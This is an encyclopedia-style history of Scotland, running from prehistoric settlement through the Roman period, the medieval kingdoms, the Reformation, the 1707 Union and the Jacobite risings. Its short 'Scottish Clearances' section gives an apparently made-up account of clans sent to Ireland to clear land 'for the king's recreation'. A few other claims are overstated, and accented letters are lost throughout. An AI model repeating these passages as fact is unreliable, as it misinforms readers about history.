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          The history of Scotland begins around 10,000 years ago, when humans first began to inhabit what is now Scotland after the end of the Devensian glaciation, the last ice age. Of the Stone Age, Bronze Age, and Iron Age civilization that existed in the territory, many artifacts remain, but few written records were left behind.


          The written history of Scotland largely begins with the arrival of the Roman Empire in Britain, when the Romans occupied what is now broadly England and Wales and the Scottish Lowlands, administering it as a Roman province called Britannia. To the north was territory not governed by the Romans  Caledonia, by name. Its people were the Picts. From a classical historical viewpoint Scotland seemed a peripheral country, slow to gain advances filtering out from the Mediterranean fount of civilisation, but as knowledge of the past increases it has become apparent that some developments were earlier and more advanced than previously thought, and that the seaways were very important to Scottish history.


          Because of the geographical orientation of Scotland and its strong reliance on trade routes by sea, the kingdom held close links in the south and east with the Baltic countries, and through Ireland with France and the continent of Europe. Following the Acts of Union which united Scotland with England into the Kingdom of Great Britain, and the subsequent Scottish Enlightenment and Industrial Revolution, Scotland became one of the commercial, intellectual and industrial powerhouses of Europe. Its industrial decline following the Second World War was particularly acute, but in recent decades the country has enjoyed something of a cultural and economic renaissance, fuelled in part by a resurgent financial services sector, the proceeds of North Sea oil and gas, and latterly a devolved parliament.


          


          Prehistoric people
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          People lived in Scotland for at least 8,500 years before recorded history dealt with Britain. At times during the last interglacial period (130,000 70,000 BCE) Europe had a climate warmer than today's, and early humans may have made their way to Scotland, though archaeologists have found no traces of this. Glaciers then scoured their way across most of Britain, and only after the ice retreated did Scotland again become habitable, around 9600 BCE.


          Mesolithic hunter-gatherer encampments formed the first known settlements, and archaeologists have dated an example at Cramond near Edinburgh to around 8500 BC. Numerous other sites found around Scotland build up a picture of highly mobile boat-using people making tools from bone, stone and antlers.
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          Neolithic farming brought permanent settlements, and the wonderfully well-preserved stone house at Knap of Howar on Papa Westray dating from 3500 BC predates by about 500 years the village of similar houses at Skara Brae on West Mainland, Orkney. The settlers introduced chambered cairn tombs from around 3500 BC ( Maeshowe offers a prime example), and from about 3000 BC the many standing stones and circles such as the Ring of Brodgar on Orkney and Callanish on Lewis. These form part of the Europe-wide Megalithic culture which also produced Stonehenge in Wiltshire, and which pre-historians now interpret as showing sophisticated use of astronomical observations.


          The cairns and Megalithic monuments continued into the Bronze age, and hill forts started to appear, such as Eildon Hill near Melrose in the Scottish Borders, which goes back to around 1000 BC and which accommodated several hundred houses on a fortified hilltop.


          Brythonic Celtic culture and language spread into Scotland at some time after the 8th century BC, possibly through cultural contact rather than through mass invasion, and systems of kingdoms developed.


          From around 700 BC the Iron age brought numerous hill forts, brochs and fortified settlements which support the image of quarrelsome tribes and petty kingdoms later recorded by the Romans, though evidence that at times occupants neglected the defences might suggest that symbolic power had as much significance as warfare.


          


          Roman invasion
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          The only surviving pre-Roman account of Scotland originated with the Greek Pytheas of Massalia who circumnavigated the British islands (which he called Pretanik) in 325 BC, but the record of his visit dates from much later.


          The Roman invasion of Britain began in earnest in AD 43. Following a series of military successes in the south, forces led by Gnaeus Julius Agricola entered Scotland in 79. The Romans met with fierce resistance from the local population of Caledonians. In 82 or 83 Agricola sent a fleet of galleys up round the coast of Scotland, as far as the Orkney Islands. In 84 Agricola defeated the Caledonian tribes at the Battle of Mons Graupius due to superior tactics and the use of professional troops.


          The only historical source for this comes from the writings of Agricola's son-in-law, Tacitus. Archaeology backed up with accurate dating from dendrochronology suggests that the occupation of southern Scotland started before the arrival of Agricola. Whatever the exact dating, for the next 300 years Rome had some presence along the southern border.


          Although the Romans had failed to conquer Caledonia they attempted to maintain control through military outposts and built a few roads. They were eventually forced or chose to withdraw, concluding that the wealth of the land did not justify the extensive garrisoning requirements.


          Scotland's population comprised two main groups:


          
            	the Picts, the original peoples (possibly a Brythonic Celtic group) who occupied most of Scotland north of the Firth of Clyde and the Firth of Forth: the area known as "Pictavia"


            	the Britons formed a Roman-influenced Brythonic Celtic culture in the south, with the kingdom of Y Strad Glud ( Strathclyde) from the Firth of Clyde southwards, Rheged in Cumbria, Selgovae in the central Borders area and the Votadini or Gododdin from the Firth of Forth down to the Tweed

          


          Invasions brought three more groups, though the extent to which they replaced native populations is unknown


          
            	the Old Irish-speaking Scotti (Scots) or more specifically, the Dl Riatans, arrived from Ireland from the late 5th century onwards, taking possession of Argyll and the west coast in the Kingdom of Dl Riata.


            	the Anglo-Saxons expanding from Bernicia and the continent. Notably seizing Gododdin in the 7th Century. It was their language which eventually became the predominant tongue of lowland Scotland, a variant of English which was initially termed Inglis, whereas the name "Scottis" (pronounced the same way as Scots) referred to the Gaelic language spoken largely in the Highlands. However, during the late Middle Ages the name "Scots" was transferred to the Scottish form of English, while the Celtic language of the Highlands came to be known only as Gaelic.


            	In the aftermath of the 795 Viking raid on Iona, the Norse Jarls of Orkney took hold of the Western Isles, Caithness and Sutherland, while Norse settlers mixed with the inhabitants of Galloway to become the Gallgaels.

          


          The British Saint Ninian conducted the first Christian mission in Scotland. From his base, the Candida Casa (present-day Whithorn) on the Solway Firth, he spread the faith in the south and east of Scotland and in the north of England. However, according to the writings of Saint Patrick and Saint Columba, the Picts appear to have renounced Christianity in the century between Ninian's death (432) and the arrival of Saint Columba in 563. The reason is not known. The Gaels re-introduced Christianity into Pictish Scotland, gradually pushing out worship of the older Celtic gods. The most famous evangelist of that period, Saint Columba, came to Scotland in 563 and settled on the island of Iona having obtained permission from the Pictish king at his court in Inverness to settle on Iona and to spread Christianity. Some consider his (possibly apocryphal) conversion of the Pictish king Bridei a key event in the Christianisation of Scotland.


          


          Rise of the kingdom of Alba


          The myth of MacAlpin's Treason tells how Alba was born when the Gael Cined mac Ailpn conquered the Picts, however Alba is a creation of Constantine II. Cined's son Constantine had the Series Longoir written to show his family's claim to the throne of a united Pictland. The triumph of Gaelic over Pictish and the change from Pictland to Alba is placed in the half-century reign of Constantine II. Why and how this happened is unknown.


          At first this new kingdom corresponded to Scotland north of the Rivers Forth and Clyde. South west Scotland remained under the control of the Strathclyde Britons. South-east Scotland was under the control from around 638 of the proto-English kingdom of Bernicia, then of the Kingdom of Northumbria. This portion of Scotland was contested from the time of Constantine II and finally fell into Scottish hands in 1018, when Mel Coluim II pushed the border as far south as the River Tweed. This remains the south-eastern border to this day.


          Scotland, in the geographical sense it has retained for nearly a millennium, completed its expansion by the gradual incorporation of the Britons' kingdom of Strathclyde into Alba. In 1034, Donnchad I inherited Alba from his maternal grandfather, Mel Coluim II. With the exception of Orkney, the Western Isles, Caithness and Sutherland, which remained under Norse rule, Scotland had assumed the shape it was to retain thereafter.


          Macbeth, the Cenl Loairn candidate for the throne whose family had been suppressed by Mel Coluim II, defeated Donnchad in battle in 1040. Macbeth then ruled well for seventeen years before Donnchad's son Mel Coluim III overthrew him. (William Shakespeare, in his play Macbeth, later immortalised these events, in a heavily fictionalised way based on inaccurate contemporary history that flattered the antecedents of James VI of Scotland/I of England at Macbeth's expense).


          After the Norman Conquest in 1066, Edgar, one of the claimants of the English throne opposing William the Conqueror, fled to Scotland. Mel Coluim married Edgar's sister Margaret, and thus came into opposition to William who had already disputed Scotland's southern borders. William invaded Scotland in 1072, riding through Lothian and past Stirling on to the Firth of Tay where he met his fleet of ships. Mel Coluim submitted, paid homage to William, and surrendered his son Donnchad as a hostage.


          Margaret herself had a great influence on Scotland. She is said to have brought European cultivation to the warlike Scottish court. She had an English father and a Hungarian mother and had grown up in Hungary, recently pagan and largely untouched by the European culture of the period. However at this point the Church explicitly recognised the Bishop of Rome (the Pope) as its head and at her instigation, the Benedictine order founded a monastery at Dunfermline, and St Andrews began to replace Iona as the centre of ecclesiastical leadership. The rites of the Scottish church became gradually re-integrated with mainstream Western Catholicism from that base.


          When Malcolm died in 1093, his brother Domnall III succeeded him. However, William II of England backed Malcolm's son by his first marriage, Duncan, as a pretender to the throne. With the English behind him Duncan briefly seized power. His murder within a few months saw Domnall restored with Edmund as his heir. The two ruled Scotland until two of Edmund's younger brothers returned from exile in England with English military backing. Victorious, the younger brothers imprisoned Domnall and Edmund for life, and Edgar, the oldest of the three, became king in 1097. Shortly afterwards Edgar and the King of Norway, Magnus Bare Legs concluded a treaty recognizing Norwegian authority over the Western Isles. In practice Norse control of the Isles was of the loosest nature, with local chiefs enjoying a high degree of independence. The following century, Somerled, the greatest of these, became King of the Hebrides in his own right. His descendants, the Lords of the Isles, continued to enjoy a semi-independent status until the end of the fifteenth century.
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          When Edgar died in 1107, Margaret's third son Alexander became king, and when he in turn died in 1124, the crown passed to her fourth son David I. During David's reign Lowland Scots (known as Inglis then) began to grow in south east Scotland, although Gaelic would continue to be spoken in many parts of what would become the Lowlands for centuries more.


          The governmental and cultural innovations introduced by the Norman conquerors of England impressed David greatly, and he arranged for several notables to come north and take up places within the Scottish aristocracy. The Normans came into frequent conflict with the native nobility, especially in the north east and south west of the country.


          In a mirror of the invitation of the Normans northwards, David received lands south of the border in fee from the English kings. This meant that the Kings of Scotland also functioned as Earls of Huntingdon, and that the Earls paid ceremonial homage to the English kings for the lands received. This homage proved problematic, however, as Malcolm Canmore as the King of Scotland had paid homage to the new Norman Kings of England twice after defeats during his various campaigns against the Normans in support of his Anglo-Saxon brother-in-law Edgar Atheling's claim to the English throne.


          In 1263 Scotland and Norway fought the Battle of Largs for control over the Western Isles. Although the battle was little more than a series of indecisive skirmishes, it did at least prove that the distant kings of Norway could not continue to control the Isles. This was recognized soon after when the Norwegian king Magnus VI of Norway signed the Treaty of Perth in 1266, acknowledging Scottish suzerainty over the islands. Bit by bit, the Island chiefs were politically integrated into the Scottish state. In 1284 all of the descendants of Somerled attended a parliament called by Alexander III to acknowledge his granddaughter, Margaret, as heir to the throne. The subsequent dynastic crisis caused by the death of Margaret and the onset of the Wars of Independence reversed this process. By the middle of the fourteenth century the MacDonald Lords of the Isles were once again loosening their ties to the crown.


          A series of deaths in the line of succession in the 1280s, followed by King Alexander III's death in 1286 left the Scottish crown in disarray. His granddaughter Margaret, the "Maid of Norway", a four-year old girl, was the heir.


          Edward I of England, as Margaret's great-uncle, suggested that his son (also a child) and Margaret should marry, stabilising the Scottish line of succession. In 1290 Margaret's guardians agreed to this, but Margaret herself died in Orkney on her voyage from Norway to Scotland before either her coronation or her marriage could take place.


          


          The Auld Alliance


          John Balliol, the man with the strongest claim to the throne, became king ( 30 November 1292). Robert Bruce of Annandale, the next strongest claimant, accepted this outcome with reluctance (his grandson and namesake later ascended the throne as Robert I).


          Over the next few years Edward I used the concessions he had gained during the Great Cause systematically to undermine both the authority of King John and the liberty of Scotland. In 1295 John, on the urgings of his chief councillors, entered into an alliance with France. This was the beginning of the Auld Alliance.


          In 1296 Edward invaded Scotland, deposing King John. The following year William Wallace and Andrew de Moray raised southern and northern parts of the country to resist the occupation. Under their joint leadership an English army was defeated at the Battle of Stirling Bridge. For a short time Wallace ruled Scotland in the name of John Balliol as Guardian of the realm.


          Edward came north in person and defeated Wallace at the Battle of Falkirk (1298). Wallace escaped but resigned as Guardian of Scotland. John Comyn and Robert the Bruce were appointed in his place. In 1305 Wallace fell into the hands of the English, who executed him for treason despite the fact that he owed no allegiance to England.


          In February 1306 Robert Bruce, the grandson of the Claimant, participated in the murder of John Comyn, a leading rival. Bruce went on to seize the crown, but Edward's forces overran the country after defeating Bruce's small army at the Battle of Methven. Despite the excommunication of Bruce and his followers by Pope Clement V his support slowly strengthened; and by 1314 with the help of leading nobles such as Sir James Douglas and the Earl of Moray only the castles at Bothwell and Stirling remained under English control. Edward I had died in 1307. His heir Edward II moved an army north to break the siege of Stirling Castle and reassert control. Robert defeated that army at the Battle of Bannockburn in 1314, securing de facto independence. In 1320 a remonstrance to the Pope from the nobles of Scotland (the Declaration of Arbroath) went part of the way towards convincing Pope John XXII to overturn the earlier excommunication and nullify the various acts of submission by Scottish kings to English ones so that Scotland's sovereignty could be recognised by the major European dynasties.


          In 1326, the first full Parliament of Scotland met. The parliament had evolved from an earlier council of nobility and clergy, the colloquium, constituted around 1235, but in 1326 representatives of the burghs  the burgh commissioners  joined them to form the Three Estates.


          In 1328, Edward III signed the Treaty of Northampton acknowledging Scottish independence under the rule of Robert the Bruce. Four years after Robert's death in 1329, however, England once more invaded on the pretext of restoring the "Rightful King"  Edward Balliol, son of John Balliol  to the Scottish throne, thus starting the Second War of Independence. In the face of tough Scottish resistance, led by Sir Andrew Murray, the son of Wallace's comrade in arms, successive attempts to secure Balliol on the throne failed. Edward III lost interest in the fate of his protege after the outbreak of the Hundred Years' War with France. In 1341 David II, King Robert's son and heir, was able to return from temporary exile in France. Balliol finally resigned his vacant claim to the throne to Edward in 1356, before retiring to Yorkshire, where he died in 1364.


          


          Late medieval events


          After David's death, Robert II, the first of the Stewart (later Stuart) kings, came to the throne in 1371. He was followed in 1390 by his ailing son John, who took the regnal name Robert III, to avoid awkward questions over the exact status of the first King John. During Robert III's reign (13901406), actual power rested largely in the hands of his brother, also named Robert, the Duke of Albany. In 1396 during this king's reign, the last trial by combat in Europe, the Battle of the Clans took place before the King in Perth.


          However, problems with England continued. After the suspicious death (possibly on the orders of the Duke of Albany) of his elder son, David, Duke of Rothesay in 1402, Robert, fearful for the safety of his younger son, James (the future James I), sent him to France in 1406. Unfortunately, the English captured him en route and he spent the next 18 years as a prisoner held for ransom. As a result, after the death of Robert III, regents ruled Scotland: first, the Duke of Albany; and later his son, during whose office the country fell into near anarchy. When Scotland finally paid the ransom in 1424, James returned at the age of 32, with his English bride. He determined to restore justice and the rule of law and to deal with his enemies. He set about this immediately and ruthlessly, using military measures, reforming the parliamentary and court systems, and killing anyone who threatened his authority, including his cousin Albany. This resulted in a much greater amount of power in the hands of the Scottish government than at any time preceding, but the process led to great unpopularity for James and finally to his assassination in 1437. His son James II (reigned 14371460), when he came of age in 1449, continued his father's policy of weakening the great noble families, most notably taking on the great House of Douglas that had come to prominence at the time of the Bruce.


          Scotland advanced markedly in educational terms during the fifteenth century with the founding of the University of St Andrews in 1413, the University of Glasgow in 1450 and the University of Aberdeen in 1495, and with the passing of the Education Act 1496.


          In 1468 the last great acquisition of Scottish territory occurred when James III married Margaret of Denmark, receiving the Orkney Islands and the Shetland Islands in payment of her dowry.


          After the death of James III in 1488, during or after the Battle of Sauchieburn, his successor James IV successfully ended the quasi-independent rule of the Lord of the Isles, bringing the Western Isles under effective Royal control for the first time. In 1503, he married Henry VII's daughter, Margaret Tudor, thus laying the foundation for the 17th century Union of the Crowns. James IV's reign is often considered to be a period of cultural flourishing, and it was around this period that the European Renaissance began to infiltrate Scotland. James IV was the last known Scottish king known to speak Gaelic, although some suggest his son could also.


          In 1512, under a treaty extending the Auld Alliance, all nationals of Scotland and France also became nationals of each other's countries, a status not repealed in France until 1903 and which may never have been repealed in Scotland. However a year later, the Auld Alliance had more disastrous effects when James IV was required to launch an invasion of England to support the French when they were attacked by the English under Henry VIII. The invasion was stopped decisively at the battle of Flodden Field during which the King, many of his nobles, and over 10,000 troopsThe Flowers of the Forestwere killed. The extent of the disaster impacted throughout Scotland because of the large numbers killed, and once again Scotland's government lay in the hands of regents. The song The Flooers o' the Forest commemorated this, an echo of the poem Y Gododdin on a similar tragedy in about 600.


          When James V finally managed to escape from the custody of the regents with the aid of his redoubtable mother in 1528, he once again set about subduing the rebellious Highlands, Western and Northern isles, as his father had had to do. He married the French noblewoman Marie de Guise. His reign was fairly successful, until another disastrous campaign against England led to defeat at the battle of Solway Moss (1542). James died a short time later. The day before his death, he was brought news of the birth of an heir: a daughter, who became Mary I of Scotland (or 'Mary, Queen of Scots'). James is supposed to have remarked in Scots that "it cam wi a lass, it will gang wi a lass" - referring to the House of Stewart which began with Walter Stewart's marriage to the daughter of Robert the Bruce. Once again, Scotland was in the hands of a regent, James Hamilton, Earl of Arran.


          


          Mary, Queen of Scots


          Within two years, the Rough Wooing, Henry VIII's military attempt to force a marriage between Mary and his son, Edward, had begun. This took the form of border skirmishing and several English campaigns into Scotland. To avoid the Rough wooing, Mary was sent to France at the age of five, as the intended bride of the heir to the French throne. Her mother, Marie de Guise, stayed in Scotland to look after the interests of Mary  and of France  although the Earl of Arran acted officially as regent.


          In 1547, after the death of Henry VIII, forces under the English regent Edward Seymour, 1st Duke of Somerset were victorious at the Battle of Pinkie Cleugh, the climax of the Rough Wooing, and followed up by occupying Edinburgh. However it was to no avail since the young Queen Mary was in France. Marie de Guise responded by calling on French troops, who helped stiffen resistance to the English occupation. By 1550, after a change of regent in England, the English withdrew from Scotland completely.


          From 1554, Marie de Guise, took over the regency, and continued to advance French interests in Scotland. French cultural influence resulted in a large influx of French vocabulary into Scots, for example. But anti-French sentiment also grew, particularly among Protestants, who saw the English as their natural allies. In 1560 Marie de Guise died, and soon after the Auld Alliance also died, with the signing of the Treaty of Edinburgh, which provided for the removal of French and English troops from Scotland. The Scottish Reformation took place later the same year, when the Scottish Parliament abolished the Roman Catholic religion and outlawed the Mass.


          Meanwhile, Queen Mary had been raised a Catholic in France. She had married the Dauphin Francis in 1558, and become Queen of France on the death of his father the following year. When Francis himself died, Mary, now nineteen, elected to return to Scotland to take up the government in a hostile environment. Despite her private religion, she did not attempt to reimpose Catholicism on her largely Protestant subjects, thus angering the chief Catholic nobles. Her six-year personal reign was marred by a series of crises, largely caused by the intrigues and rivalries of the leading nobles. The murder of her secretary, David Riccio, was followed by the murder of her unpopular husband Lord Darnley, and her abduction by and marriage to the Earl of Bothwell. Captured by Bothwell's rivals, Mary was imprisoned in Loch Leven Castle, and in July 1567, was forced to abdicate in favour of her infant son Prince James.


          Mary eventually escaped from Loch Leven, and attempted to regain the throne by force. After her defeat at the Battle of Langside in 1568 she took refuge in England, leaving her young son, James VI, in the hands of regents. In England she became a focal point for Catholic conspirators and was eventually tried for treason and executed on the orders of her kinswoman Elizabeth I.


          


          Protestant Reformation
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          During the 16th century, Scotland underwent a Protestant Reformation. In the earlier part of the century, the teachings of first Martin Luther and then John Calvin began to influence Scotland. The execution of a number of Protestant preachers, most notably the Lutheran influenced Patrick Hamilton in 1528 and later the proto-Calvinist George Wishart in 1546 who was burnt at the stake in St. Andrews by Cardinal Beaton for heresy, did nothing to stem the growth of these ideas. Beaton was assassinated shortly after the execution of George Wishart.


          The eventual Reformation of the Scottish Church followed a brief civil war in 1559-60, in which English intervention on the Protestant side was decisive. A Reformed confession of faith was adopted by Parliament in 1560, while the young Mary Queen of Scots was still in France. The most influential figure was John Knox, who had been a disciple of both John Calvin and George Wishart. Roman Catholicism was not totally eliminated, and remained strong particularly in parts of the highlands.


          The Reformation remained somewhat precarious through the reign of Queen Mary, who remained Roman Catholic but tolerated Protestantism. Following her deposition in 1567, her infant son James VI was raised as a Protestant. In 1603, following the death of the childless Queen Elizabeth I, the crown of England passed to James. He took the title James I of England and James VI of Scotland, thus unifying these two countries under his personal rule. For a time, this remained the only political connection between two independent nations, but it foreshadowed the eventual 1707 union of Scotland and England under the banner of the Great Britain.


          


          Wars of the Three Kingdoms and the Puritan Commonwealth
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          Bishops' Wars


          Although Scotland and England had both rejected papal authority, the Reformation in each country proceeded in slightly different directions. England retained much of the old Catholic practice, including a formal liturgy and order of service, whereas the Scots embraced more of a free-form Calvinism. Although James had tried to get the Scottish Church to accept some of the High Church Anglicanism of his southern kingdom, he met with limited success. His son and successor, Charles I, took matters further, introducing an English-style Prayer Book into the Scottish church in 1637. This resulted in anger and widespread rioting. (The story goes that it was initiated by a certain Jenny Geddes who threw a stool in St Giles Cathedral). Representatives of various sections of Scottish society drew up the National Covenant in 1638, objecting to the King's liturgical innovations. In November of the same year matters were taken even further, when at a meeting of the General Assembly in Glasgow the Scottish bishops were formally expelled from the Church, which was then established on a full Presbyterian basis. Charles gathered a military force; but as neither side wished to push the matter to a full military conflict, a temporary settlement was concluded at Berwick. Matters remained unresolved until 1640 when, in a renewal of hostilities, Charles's northern forces were defeated by the Scots at Newburn to the west of Newcastle. During the course of these " Bishops' Wars" Charles tried to raise an army of Irish Catholics, but was forced to back down after a storm of protest in Scotland and England. The backlash from this venture provoked a rebellion in Ireland and Charles was forced to appeal to the English Parliament for funds. Parliament's demands for reform in England eventually resulted in the English Civil War. This series of civil wars that engulfed England in the 1640s and 50s is known to modern historians as the Wars of the Three Kingdoms. The Covenanters meanwhile, were left governing Scotland, where they raised a large army of their own and tried to impose their religious settlement on Episcopalians and Roman Catholics in the north of the country.


          


          Civil war


          As the civil wars developed, the English Parliamentarians appealed to the Scots Covenanters for military aid against the King. A Solemn League and Covenant was entered into, guaranteeing the Scottish Church settlement and promising further reform in England. Scottish troops played a major part in the defeat of Charles I, notably at the battle of Marston Moor. An army under the Earl of Leven occupied the North of England for some time.


          However, not all Scots supported the Covenanter's taking arms against their King. In 1645, James Graham, 1st Marquess of Montrose attempted to raise the Highlands for the King. Few Scots would follow him, but, aided by 1,000 Irish, Highland and Islesmen troops sent by the Irish Confederates under Alasdair MacColla, and an instinctive genius for mobile warfare, he was stunningly successful. A Scottish Civil War began in September 1644 with his victory at battle of Tippermuir. After a series of victories over poorly trained Covenanter militias, the lowlands were at his mercy. However, at this high point, his army was reduced in size, as MacColla and the Highlanders preferred to continue the war in the north against the Campbells. Shortly after, what was left of his force was defeated at the Battle of Philiphaugh. Escaping to the north, Montrose attempted to continue the struggle with fresh troops; but in July 1646 his army was disbanded after the King surrendered to the Scots army at Newark, and the civil war came to an end.


          The following year Charles, while he was being held captive in Carisbrooke Castle, entered into an agreement with moderate Scots Presbyterians. In this secret ' Engagement', the Scots promised military aid in return for the King's agreement to implement Presbyterianism in England on a three-year trial basis. The Duke of Hamilton led an invasion of England to free the King, but he was defeated by Oliver Cromwell in August 1648 at the Battle of Preston.


          


          Cromwellian occupation and restoration
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          The Covenanter government was outraged by Parliament's execution of Charles I in 1649, carried out in the face of their strongest objections. No sooner did news of his death reach the north than his son was proclaimed King Charles II in Edinburgh. Oliver Cromwell invaded Scotland in 1650, and defeated the Scottish army in battles at Dunbar and Worcester. Scotland was then occupied by an English force under George Monck throughout the Interregnum and incorporated into the Puritan-governed Commonwealth. See article: Royalist rising of 1651 to 1654.


          From 1652 to 1660, Scotland was part of the Commonwealth and Protectorate, under English control but gaining equal trading rights. Upon its collapse, and with the restoration of Charles II, Scottish independence returned. Scotland regained its parliament, but the English Navigation Acts prevented the Scots engaging in what would have been lucrative trading with England's growing colonies. The formal frontier between the two countries was re-established, with customs duties which, while they protected Scottish cloth industries from cheap English imports, also denied access to English markets for Scottish cattle or Scottish linens. (Braudel 1984 p 370).


          After the Restoration, Charles' Scottish affairs were managed by senior noblemen, the most prominent of whom was John Maitland, Duke of Lauderdale, his Secretary of State and High Commissioner to the Scottish Parliament. Near the outset of the reign Episcopacy was reintroduced. This was to be a source of particular trouble in the south-west of the country, an area particularly strong in its Presbyterian sympathies. Abandoning the official church, many of the people here began to attend illegal field assemblies, known as conventicles. Official attempts to suppress these led to a rising in 1679, defeated by James Duke of Monmouth, the King's illegitimate son, at the Battle of Bothwell Bridge. In the early 1680s a more intense phase of persecution began, in what was later to be called the " the Killing Time". When Charles died in 1685 and his brother, a Roman Catholic, succeeded him as James VII of Scotland (and II of England), matters came to a head.


          


          The Scottish Clearances


          Beginning around 1605, Scottish clans began to undergo a forced migration to Ireland in order to clear land for the king's recreation. Mostly Protestant Scots were sent to the catholic Ireland to ensure that there would be too much internal strife for Ireland to focus on its neighbors.


          


          The Deposition of James VII


          James's attempt to introduce religious toleration to England's Roman Catholics alienated his Protestant subjects. Neither this, nor his moves towards absolutism, provoked outright rebellion, as it was believed that he would be succeeded by his daughter Mary, a Protestant and the wife of William of Orange. When, in 1688, James produced a male heir, everything changed. At the invitation of seven Englishmen, William landed in England with 40,000 men, and James fled. Whilst this was primarily an English event, the so-called "Glorious Revolution" had a great impact on Scottish history. Whilst William accepted limits on royal power, under the Bill of Rights (a contract between himself and the English parliament), Scotland had an equivalent document in the Claim of Rights. This is an important document in the evolution of the rule of law and the rights of subjects.


          Most significant Scots supported William of Orange, but many (particularly in the Highlands) remained sympathetic to James VII. His cause, which became known as Jacobitism, spawned a series of uprisings. An initial Jacobite rising under John Graham, 1st Viscount Dundee ( Bonnie Dundee) defeated William's forces at the Battle of Killiecrankie in 1689, but Dundee was slain in the fighting, and the army was soon defeated at the Battle of Dunkeld. The complete defeat of James in Ireland by William at the Battle of Aughrim (1691), ended matters for a time. (Ironically, the Protestant William had also enjoyed the support of the Pope and the Catholic Habsburg monarchy against the aggressive foreign policy of Louis XIV of France).


          The late 17th century was economically difficult for Scotland. The bad harvests of the seven ill years in the 1690s led to severe famine and depopulation. English protectionism kept Scots traders out of the new colonies, and English foreign policy disrupted trade with France. Many Scots emigrated to Ulster (the Ulster-Scots). The Parliament of Scotland of 1695 enacted a number of remedies for the desperate economic situation, including setting up the Bank of Scotland. The Act for the Settling of Schools established a parish-based system of public education throughout Scotland. The Company of Scotland received a charter to raise capital through public subscription to trade with Africa and the Indies.


          


          Scottish overseas colonies


          In attempts to expand, the Scots established abortive colonies both in Nova Scotia and also at Stuart's Town in what is now South Carolina. Scottish settlers had also been sent to the English colony of New Jersey. The Company of Scotland soon became involved with the Darien scheme, an ambitious plan devised by William Paterson to establish a colony on the Isthmus of Panama in the hope of establishing trade with the Far East  the principle that led to the construction of the Panama Canal much later. The Company of Scotland easily raised subscriptions in London for the scheme. But the English government opposed the idea: involved in the War of the Grand Alliance from 1689 to 1697 against France, it did not want to offend Spain, which claimed the territory as part of New Granada. The English investors had perforce to withdraw. Returning to Edinburgh, the Company raised 400,000 pounds in a few weeks. Three small fleets with a total of 3000 men eventually set out for Panama in 1698. The exercise proved a disaster. Poorly equipped; beset by incessant rain; under attack by the Spanish from nearby Cartagena; and refused aid by the English in the West Indies, the colonists abandoned their project in 1700. Only 1000 survived and only one ship managed to return to Scotland. A desperate ship from the colony which called at Port Royal received no assistanceon the orders of the English government. Realising the dangers of the conflicting claims and aims of two independent kingdoms at odds with one another, William of Orange called for a union of the two countries. It did not happen. Union, when it did come in 1707, restored free trade between the countries and gave the Scots access to the burgeoning English Empire.


          


          Union, the Hanoverians and the Jacobites
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          By 1700, the Protestant monarchy seemed in danger of coming to an end with the childless Stuart Princess Anne. Rather than return to her Roman Catholic brother James Francis Edward Stuart, the English Parliament enacted that Sophia of Hanover and her descendants should succeed ( Act of Settlement 1701). However, the Scottish counterpart, the Act of Security, prohibited a Roman Catholic successor, leaving open the possibility that the crowns would diverge.


          Rather than risk the possible return of James Francis Edward Stuart, then living in France, the English parliament pressed for full union of the two countries. In 1707, despite much opposition in Scotland, the Treaty of Union was concluded.


          The treaty, which became the Act of Union 1707, confirmed the Hanoverian succession. It abolished both the Parliaments of England and Scotland, and established the Parliament of Great Britain. Scotland was to have 45 seats in the House of Commons, and a representation in the House of Lords. The act also created a common citizenship, giving Scots free access to English markets. The Church of Scotland and Scottish law and courts remained separate. This union was highly controversial among Scots, and increasingly so as the hoped-for economic revival was not immediately forthcoming. When it did come, in the second half of the century, it was Lowland Scotland that received the benefits.


          Jacobitism was revived by the unpopularity of the union. In 1708 James Francis Edward Stuart attempted an invasion with a French fleet, but the Royal Navy prevented any from landing. A more serious attempt occurred in 1715. This rising (known as The 'Fifteen) envisaged simultaneous uprisings in Wales, Devon and Scotland. However, government arrests forestalled the southern ventures. In Scotland, John Erskine, Earl of Mar, nicknamed Bobbin' John, raised the Jacobite clans but proved to be an indecisive leader and an incompetent soldier. Mar captured Perth, but let a smaller government force under the Duke of Argyll hold the Stirling plain. Part of Mar's army joined up with risings in northern England and southern Scotland, and the Jacobites fought their way into England before being defeated at the Battle of Preston, surrendering on 14 November 1715. The day before, Mar failed to defeat Argyll at the Battle of Sheriffmuir. At this point, James belatedly landed in Scotland, but was advised that the cause was hopeless. He fled back to France. An attempted Jacobite invasion with Spanish assistance in 1719 met with little support from the clans and ended at the Battle of Glen Shiel.


          In 1745 the Jacobite rising known as The 'Forty-Five began. Charles Edward Stuart, known to history as Bonnie Prince Charlie or the Young Pretender, son of the Old Pretender, landed on the island of Eriskay in the Outer Hebrides. Several clans unenthusiastically joined him. At the outset he was successful, taking Edinburgh and then defeating the only government army in Scotland at the Battle of Prestonpans. They marched into England and got as far as Derby. It became increasingly evident that England would not support a Roman Catholic Stuart monarch. The Jacobite leadership had a crisis of confidence and retreated to Scotland.


          The Duke of Cumberland crushed the "Forty-Five" and the hopes of the Jacobites at the Battle of Culloden on 16 April 1746. Charles hid in Scotland with the aid of Highlanders until September 1746, when he escaped back to France with the help of Flora MacDonald. He died a broken man, and his cause died with him.


          


          Industrial Revolution, Clearances, and the Enlightenment


          After 1745, British authorities acted to destroy the Scottish clan system in parliamentary acts of extreme vengeance. All aspects of Highland culture including the language were forbidden on pain of death. Highlanders were forced into the British Army to serve in the wider British Empire. Clan Chiefs were encouraged to consider themselves as owners of the land in their control, in the Lowland manner - it was previously considered common to the clan.


          As these new landowners converted land to more profitable sheep pasture, many of the peoples were dispossessed, facing forcible eviction. In what became known as the " Highland Clearances", the population fell significantly. Large numbers of Highlanders relocated to the lowland cities, becoming the labour force for the emerging industrial revolution, many were banished to other parts of the British Empire, particularly Nova Scotia, the Eastern Townships of Quebec, and Upper Canada (later known as Ontario).


          At the same time, the Scottish Agricultural Revolution changed the face of the Scottish Lowlands and transformed the traditional system of subsistence farming into a stable and productive agricultural system. This also had effects on population and precipitated a migration of Lowlanders.
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          Internationally, Scotland's fate was tied to that of the United Kingdom as a whole. Shortly after Culloden, Britain successfully fought the Seven Years' War (1756 1763), demonstrating its rising significance as a great power. As a partner in the new Britain, Scotland began to flourish in ways that she never had as an independent nation. As the memory of the Jacobite rebellion faded away, the 1770s and 80s saw the repeal of much of the draconian laws passed earlier. Most were repealed by 1792 as the Episcopalian and Roman Catholic clergy no longer refused to pray for the reigning monarch, although Unitarians were still affected.


